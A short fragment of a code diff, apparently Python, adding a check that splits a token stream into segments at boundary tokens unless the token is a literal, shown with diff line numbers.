+ if token in SEGMENT_BOUNDARIES and not isinstance(token, LiteralToken):
1160
1121
  segments.append(current)
1161
1122
  current = []
1162
1123
  continue